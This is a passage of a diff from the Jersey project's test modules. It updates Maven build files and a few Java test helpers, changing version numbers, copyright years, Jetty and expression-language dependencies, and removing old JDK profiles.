@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.redeployment</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>redeployment-threadlocals-app</artifactId>
@@ -106,7 +106,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
     </dependencies>
diff --git a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
index 8111508..c959f37 100644
--- a/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/bean-param-leak/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bean-param-leak</artifactId>
@@ -88,8 +88,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
             <plugin>
                 <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
index 19159fa..34e7e93 100644
--- a/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
+++ b/tests/mem-leaks/test-cases/leaking-test-app/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>leaking-test-app</artifactId>
diff --git a/tests/mem-leaks/test-cases/pom.xml b/tests/mem-leaks/test-cases/pom.xml
index 1f4d9ce..6287ce2 100644
--- a/tests/mem-leaks/test-cases/pom.xml
+++ b/tests/mem-leaks/test-cases/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
index 4655cd2..7fe29c3 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>shutdown-hook-leak-client</artifactId>
diff --git a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
index 26e87e6..fb37ae3 100644
--- a/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
+++ b/tests/mem-leaks/test-cases/shutdown-hook-leak/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.memleaks.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>shutdown-hook-leak</artifactId>
@@ -71,8 +71,9 @@
                 <artifactId>maven-failsafe-plugin</artifactId>
             </plugin>
             <plugin>
-                <groupId>org.mortbay.jetty</groupId>
+                <groupId>org.eclipse.jetty</groupId>
                 <artifactId>jetty-maven-plugin</artifactId>
+                <version>${jetty11.version}</version>
             </plugin>
             <plugin>
                 <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/tests/osgi/functional/pom.xml b/tests/osgi/functional/pom.xml
index 4e6e564..fd4e7d1 100644
--- a/tests/osgi/functional/pom.xml
+++ b/tests/osgi/functional/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.osgi</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-tests-osgi-functional</artifactId>
@@ -230,7 +230,6 @@
             <scope>test</scope>
             <version>${httpclient.version}</version>
         </dependency>
-
         <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-json-jackson</artifactId>
@@ -299,7 +298,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -318,8 +317,8 @@
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>org.glassfish</groupId>
-            <artifactId>jakarta.el</artifactId>
+            <groupId>org.glassfish.expressly</groupId>
+            <artifactId>expressly</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java
index 7486f72..2c4ba83 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/BeanValidationTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -72,7 +72,7 @@
                 mavenBundle().groupId("org.jboss.logging").artifactId("jboss-logging").versionAsInProject(),
                 mavenBundle().groupId("com.fasterxml").artifactId("classmate").versionAsInProject(),
                 mavenBundle().groupId("jakarta.el").artifactId("jakarta.el-api").versionAsInProject(),
-                mavenBundle().groupId("org.glassfish").artifactId("jakarta.el").versionAsInProject()
+                mavenBundle().groupId("org.glassfish.expressly").artifactId("expressly").versionAsInProject()
 
         ));
 
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java
index 4b730d7..785e883 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonJacksonTest.java
@@ -41,6 +41,9 @@
         options.addAll(Helper.expandedList(
                 // vmOption("-Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=5005"),
 
+                // TODO - remove when jackson-module-jakarta-xmlbind-annotations supports JAX-B/4
+                mavenBundle().groupId("jakarta.xml.bind").artifactId("jakarta.xml.bind-api").version("3.0.1"),
+
                 mavenBundle().groupId("org.glassfish.jersey.media").artifactId("jersey-media-json-jackson").versionAsInProject(),
                 mavenBundle().groupId("org.glassfish.jersey.ext").artifactId("jersey-entity-filtering").versionAsInProject(),
 
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java
index 423a04e..2ca286c 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/basic/JsonMoxyTest.java
@@ -63,7 +63,7 @@
                 mavenBundle().groupId("org.hibernate.validator").artifactId("hibernate-validator").versionAsInProject(),
                 mavenBundle().groupId("org.jboss.logging").artifactId("jboss-logging").versionAsInProject(),
                 mavenBundle().groupId("com.fasterxml").artifactId("classmate").versionAsInProject(),
-                mavenBundle().groupId("org.glassfish").artifactId("jakarta.el").versionAsInProject()
+                mavenBundle().groupId("org.glassfish.expressly").artifactId("expressly").versionAsInProject()
         ));
 
         return Helper.asArray(options);
diff --git a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
index 76a1515..4be49dd 100644
--- a/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
+++ b/tests/osgi/functional/src/test/java/org/glassfish/jersey/osgi/test/util/Helper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2022 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -183,9 +183,9 @@
                     mavenBundle().groupId("org.glassfish.jersey.core").artifactId("jersey-client").versionAsInProject(),
 
                     // Jersey Injection provider
-                    mavenBundle().groupId("org.glassfish.jersey.inject").artifactId("jersey-hk2").versionAsInProject(),
+                    mavenBundle().groupId("org.glassfish.jersey.inject").artifactId("jersey-hk2").versionAsInProject()
 //                     Jaxb - api
-                    getActivationBundle()
+//                    getActivationBundle()
             ));
         }
 
diff --git a/tests/osgi/pom.xml b/tests/osgi/pom.xml
index 99da325..1a4a0f2 100644
--- a/tests/osgi/pom.xml
+++ b/tests/osgi/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.osgi</groupId>
diff --git a/tests/performance/benchmarks/pom.xml b/tests/performance/benchmarks/pom.xml
index 4af92ed..79ce03f 100644
--- a/tests/performance/benchmarks/pom.xml
+++ b/tests/performance/benchmarks/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>performance-test-benchmarks</artifactId>
diff --git a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java
index 05391bc..ba18aae 100644
--- a/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java
+++ b/tests/performance/jmx-client/src/main/java/org/glassfish/jersey/tests/performance/jmxclient/Main.java
@@ -80,6 +80,6 @@
     private static void writeResult(double resultValue, String propertiesFile) throws IOException {
         Properties resultProps = new Properties();
         resultProps.put("YVALUE", Double.toString(resultValue));
-        resultProps.store(Files.newOutputStream(Paths.get(propertiesFile)), null);
+        resultProps.store(Files.newOutputStream(Path.of(propertiesFile)), null);
     }
 }
diff --git a/tests/performance/pom.xml b/tests/performance/pom.xml
index bf57e5d..f21ac50 100644
--- a/tests/performance/pom.xml
+++ b/tests/performance/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance</groupId>
diff --git a/tests/performance/runners/jersey-grizzly-runner/pom.xml b/tests/performance/runners/jersey-grizzly-runner/pom.xml
index 03f7645..42d8d17 100644
--- a/tests/performance/runners/jersey-grizzly-runner/pom.xml
+++ b/tests/performance/runners/jersey-grizzly-runner/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.runners</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
 
diff --git a/tests/performance/runners/pom.xml b/tests/performance/runners/pom.xml
index 4fbf1c5..c82f6c3 100644
--- a/tests/performance/runners/pom.xml
+++ b/tests/performance/runners/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.tests.performance.runners</groupId>
diff --git a/tests/performance/test-cases/assemblies/pom.xml b/tests/performance/test-cases/assemblies/pom.xml
index 8ef729d..1c1faf4 100644
--- a/tests/performance/test-cases/assemblies/pom.xml
+++ b/tests/performance/test-cases/assemblies/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>assemblies</artifactId>
diff --git a/tests/performance/test-cases/filter-dynamic/pom.xml b/tests/performance/test-cases/filter-dynamic/pom.xml
index 0c357ff..4b9884c 100644
--- a/tests/performance/test-cases/filter-dynamic/pom.xml
+++ b/tests/performance/test-cases/filter-dynamic/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-dynamic</artifactId>
diff --git a/tests/performance/test-cases/filter-global/pom.xml b/tests/performance/test-cases/filter-global/pom.xml
index 7465710..83860e9 100644
--- a/tests/performance/test-cases/filter-global/pom.xml
+++ b/tests/performance/test-cases/filter-global/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-global</artifactId>
diff --git a/tests/performance/test-cases/filter-name/pom.xml b/tests/performance/test-cases/filter-name/pom.xml
index 04979e5..0da39ce 100644
--- a/tests/performance/test-cases/filter-name/pom.xml
+++ b/tests/performance/test-cases/filter-name/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>filter-name</artifactId>
diff --git a/tests/performance/test-cases/interceptor-dynamic/pom.xml b/tests/performance/test-cases/interceptor-dynamic/pom.xml
index dd35986..1535aef 100644
--- a/tests/performance/test-cases/interceptor-dynamic/pom.xml
+++ b/tests/performance/test-cases/interceptor-dynamic/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-dynamic</artifactId>
diff --git a/tests/performance/test-cases/interceptor-global/pom.xml b/tests/performance/test-cases/interceptor-global/pom.xml
index a4af722..643b54d 100644
--- a/tests/performance/test-cases/interceptor-global/pom.xml
+++ b/tests/performance/test-cases/interceptor-global/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-global</artifactId>
diff --git a/tests/performance/test-cases/interceptor-name/pom.xml b/tests/performance/test-cases/interceptor-name/pom.xml
index 1ce8e16..a72c754 100644
--- a/tests/performance/test-cases/interceptor-name/pom.xml
+++ b/tests/performance/test-cases/interceptor-name/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>interceptor-name</artifactId>
diff --git a/tests/performance/test-cases/mbw-custom-provider/pom.xml b/tests/performance/test-cases/mbw-custom-provider/pom.xml
index e03aa7e..95eca30 100644
--- a/tests/performance/test-cases/mbw-custom-provider/pom.xml
+++ b/tests/performance/test-cases/mbw-custom-provider/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>custom-provider</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-jackson/pom.xml b/tests/performance/test-cases/mbw-json-jackson/pom.xml
index 88be2b1..793a493 100644
--- a/tests/performance/test-cases/mbw-json-jackson/pom.xml
+++ b/tests/performance/test-cases/mbw-json-jackson/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-jackson</artifactId>
diff --git a/tests/performance/test-cases/mbw-json-moxy/pom.xml b/tests/performance/test-cases/mbw-json-moxy/pom.xml
index 2e88e34..37e7cbc 100644
--- a/tests/performance/test-cases/mbw-json-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-json-moxy/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>json-moxy</artifactId>
diff --git a/tests/performance/test-cases/mbw-kryo/pom.xml b/tests/performance/test-cases/mbw-kryo/pom.xml
index c2bd7c7..1c56641 100644
--- a/tests/performance/test-cases/mbw-kryo/pom.xml
+++ b/tests/performance/test-cases/mbw-kryo/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>mbw-kryo</artifactId>
diff --git a/tests/performance/test-cases/mbw-text-plain/pom.xml b/tests/performance/test-cases/mbw-text-plain/pom.xml
index 85791e5..ee05906 100644
--- a/tests/performance/test-cases/mbw-text-plain/pom.xml
+++ b/tests/performance/test-cases/mbw-text-plain/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>text-plain</artifactId>
diff --git a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
index aed91e9..e232bf8 100644
--- a/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-jaxb/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-jaxb</artifactId>
@@ -46,6 +46,11 @@
             <artifactId>jakarta.ws.rs-api</artifactId>
             <scope>provided</scope>
         </dependency>
+        <dependency>
+            <groupId>com.sun.xml.bind</groupId>
+            <artifactId>jaxb-osgi</artifactId>
+        </dependency>
+
 
         <dependency>
             <groupId>org.glassfish.jersey.test-framework.providers</groupId>
@@ -63,42 +68,4 @@
         </plugins>
     </build>
 
-    <profiles>
-        <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <dependencies>
-                <dependency>
-                    <groupId>jakarta.xml.bind</groupId>
-                    <artifactId>jakarta.xml.bind-api</artifactId>
-                </dependency>
-                <dependency>
-                    <groupId>com.sun.xml.bind</groupId>
-                    <artifactId>jaxb-osgi</artifactId>
-                </dependency>
-            </dependencies>
-        </profile>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <build>
-                <plugins>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-surefire-plugin</artifactId>
-                        <configuration>
-                            <excludes>
-                                <exclude>org/glassfish/jersey/tests/performance/mbw/xml/XmlEntityTest.java</exclude>
-                            </excludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-    </profiles>
-
 </project>
diff --git a/tests/performance/test-cases/mbw-xml-moxy/pom.xml b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
index 17610d5..0e0bdbd 100644
--- a/tests/performance/test-cases/mbw-xml-moxy/pom.xml
+++ b/tests/performance/test-cases/mbw-xml-moxy/pom.xml
@@ -1,6 +1,6 @@
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests.performance.testcases</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
